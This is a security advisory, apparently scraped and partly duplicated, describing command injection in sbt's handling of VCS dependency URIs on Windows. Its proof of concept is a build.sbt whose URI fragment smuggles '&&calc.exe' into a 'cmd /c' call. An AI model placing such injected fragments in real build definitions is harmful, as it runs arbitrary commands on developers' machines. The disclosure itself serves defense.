Summary
On Windows, sbt uses Process("cmd", "/c", ...) to run VCS commands (git, hg, svn). The URI fragment (branch, tag, revision) is user-controlled via the build definition and passed to these commands without validation. Because cmd /c interprets &, |, and ; as command separators, a malicious fragment can execute arbitrary commands.
Details
PoC
# build.properties
# sbt.version=1.12.5 # Tested on those two versions of sbt
sbt.version=2.0.0-RC9
// build.sbt
ThisBuild / scalaVersion := "2.12.19"
lazy val root = project
.in(file("."))
.dependsOn(vulnerable)
lazy val vulnerable = RootProject(
uri("https://github.com/sbt/io.git#develop%26%26calc.exe")
)
Impact
Windows users are impacted. An attacker can execute arbitrary Windows commands if they control the dependency URI.
References
Summary
On Windows, sbt uses
Process("cmd", "/c", ...)to run VCS commands (git, hg, svn). The URI fragment (branch, tag, revision) is user-controlled via the build definition and passed to these commands without validation. Becausecmd /cinterprets&,|, and;as command separators, a malicious fragment can execute arbitrary commands.Details
uri.getFragment()torun()without sanitizationrun()usesProcess("cmd", "/c", ...)on Windows, socmdinterprets&&as command separatorPoC
Impact
Windows users are impacted. An attacker can execute arbitrary Windows commands if they control the dependency URI.
References